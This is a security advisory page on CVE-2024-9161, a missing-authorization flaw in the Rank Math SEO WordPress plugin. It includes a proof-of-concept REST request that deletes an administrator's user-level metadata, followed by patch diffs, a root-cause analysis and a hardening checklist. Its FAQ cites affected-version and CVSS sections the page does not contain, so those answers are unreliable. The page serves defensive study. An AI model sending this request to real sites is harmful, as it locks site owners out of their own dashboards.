SECURITY ADVISORY / 01

CVE-2024-9161 Exploit & Vulnerability Analysis

Complete CVE-2024-9161 security advisory with proof of concept (PoC), exploit details, and patch analysis for seo-by-rank-math.

seo-by-rank-math products NVD ↗
Exploit PoC Vulnerability Patch Analysis

The Exploit

An unauthenticated attacker can modify or delete arbitrary user and term metadata by sending a REST API request without any authentication header.

POST /wp-json/rank-math/v1/updateMeta HTTP/1.1
Host: target.wordpress.local
Content-Type: application/json

{
  "objectID": "1",
  "objectType": "user",
  "metaKey": "wp_user_level",
  "metaValue": ""
}

The attacker observes a 200 OK response with {"success": true}, and the targeted administrator user's wp_user_level metadata is deleted. On the administrator's next login attempt, they are locked out of the dashboard because WordPress cannot verify their role.

What the Patch Did

Before:

public static function get_user_permissions_check( $request ) {
    return Helper::get_settings( 'titles.author_add_meta_box' );
}

After:

public static function get_user_permissions_check( $request ) {
    $user_id = $request->get_param( 'objectID' );
    return current_user_can( 'edit_user', $user_id ) && Helper::get_settings( 'titles.author_add_meta_box' );
}

The patch added a current_user_can( 'edit_user', $user_id ) capability check. This WordPress capability gate prevents unauthorized users from modifying user metadata by verifying that the caller holds the edit_user permission for the specific target user ID extracted from the objectID request parameter. Without this check, the endpoint only consulted a plugin setting and performed no authentication or authorization, making metadata modification available to any caller.

A parallel fix was applied to term metadata:

Before:

public static function get_term_permissions_check( $request ) {
    $term = self::get_term( $request->get_param( 'objectID' ) );
    if ( is_wp_error( $term ) ) {
        return $term;
    }

    if ( ! in_array( $term->taxonomy, array_keys( Helper::get_accessible_taxonomies() ), true ) ) {
        return new WP_Error( /* ... */ );

After:

public static function get_term_permissions_check( $request ) {
    $term_id = $request->get_param( 'objectID' );
    $term    = self::get_term( $term_id );
    if ( is_wp_error( $term ) ) {
        return $term;
    }

    if (
        ! in_array( $term->taxonomy, array_keys( Helper::get_accessible_taxonomies() ), true ) ||
        ! current_user_can( get_taxonomy( $term->taxonomy )->cap->edit_terms, $term_id )
    ) {
        return new WP_Error( /* ... */ );

The term metadata endpoint was strengthened by adding a dynamic capability check using get_taxonomy()->cap->edit_terms with the term ID, ensuring the caller holds the appropriate taxonomy-specific permission before allowing edits.

Root Cause

CWE-862: Missing Authorization. The vulnerability exists because the REST API endpoints that handle user and term metadata updates (get_user_permissions_check and get_term_permissions_check) perform no authorization verification. The user metadata endpoint checks only a plugin setting (titles.author_add_meta_box), which does not authenticate or authorize the request. The objectID parameter, extracted via $request->get_param( 'objectID' ), flows directly into metadata operations without passing through WordPress capability checks. This allows an unauthenticated attacker to specify any user ID or term ID and modify or delete associated metadata. The trust boundary between the unauthenticated HTTP layer and the privileged metadata store is crossed without validation.

Why It Works

The load-bearing line is the current_user_can() call paired with the specific capability and object ID: current_user_can( 'edit_user', $user_id ). If this single line were removed, the vulnerability would remain fully exploitable—an attacker could still delete administrator metadata by only checking the plugin setting. The engineer also extracted the objectID parameter into a named variable ($user_id) before passing it to current_user_can(), which clarifies intent and ensures the ID is available for the capability check. For term metadata, the addition of the taxonomy-specific capability gate (get_taxonomy( $term->taxonomy )->cap->edit_terms) is equally critical because it respects the role-based access model WordPress enforces: different users have different permissions on different taxonomies. These layers—extracting the ID, dereferencing the taxonomy capability, and calling current_user_can() at the boundary—together form a defense-in-depth control that prevents unauthorized access.

Hardening Checklist

  • Audit all REST endpoint callbacks: Search for custom permission_callback handlers that omit current_user_can() checks. Every endpoint that modifies state must verify capabilities before processing the request.
  • Use WP_REST_Server::permission_callback(): Implement permission checks as separate methods tied to route registration via 'permission_callback' parameter in register_rest_route(), not inside the main handler. This ensures checks run before the endpoint logic executes.
  • Pass object IDs to capability checks: When authorizing operations on specific users, posts, or terms, always pass the object ID as the second argument to current_user_can() (e.g., current_user_can( 'edit_user', $user_id )). This enables WordPress to evaluate context-aware permissions.
  • Validate and sanitize REST parameters: Extract request parameters with $request->get_param() and validate type and range before use. For object IDs, cast to (int) and confirm the object exists via get_user_by(), get_term(), or similar before authorization.
  • Test unauthenticated access: Verify that all REST endpoints reject requests from wp_get_current_user() === 0 unless explicitly public. Write unit tests that call endpoints as wp_set_current_user( 0 ) to confirm they fail gracefully.

References

  • https://nvd.nist.gov/vuln/detail/CVE-2024-9161

Frequently asked questions about CVE-2024-9161

What is CVE-2024-9161?

CVE-2024-9161 is a security vulnerability identified in seo-by-rank-math. This security advisory provides detailed technical analysis of the vulnerability, exploit methodology, affected versions, and complete remediation guidance.

Is there a PoC (proof of concept) for CVE-2024-9161?

Yes. This writeup includes proof-of-concept details and a technical exploit breakdown for CVE-2024-9161. Review the analysis sections above for the PoC walkthrough and code examples.

How does CVE-2024-9161 get exploited?

The technical analysis section explains the vulnerability mechanics, attack vectors, and exploitation methodology affecting seo-by-rank-math. PatchLeaks publishes this information for defensive and educational purposes.

What products and versions are affected by CVE-2024-9161?

CVE-2024-9161 affects seo-by-rank-math. Check the affected-versions section of this advisory for specific version ranges, vulnerable configurations, and compatibility information.

How do I fix or patch CVE-2024-9161?

The patch analysis section provides guidance on updating to patched versions, applying workarounds, and implementing compensating controls for seo-by-rank-math.

What is the CVSS score for CVE-2024-9161?

The severity rating and CVSS scoring for CVE-2024-9161 affecting seo-by-rank-math is documented in the vulnerability details section. Refer to the NVD entry for the current authoritative score.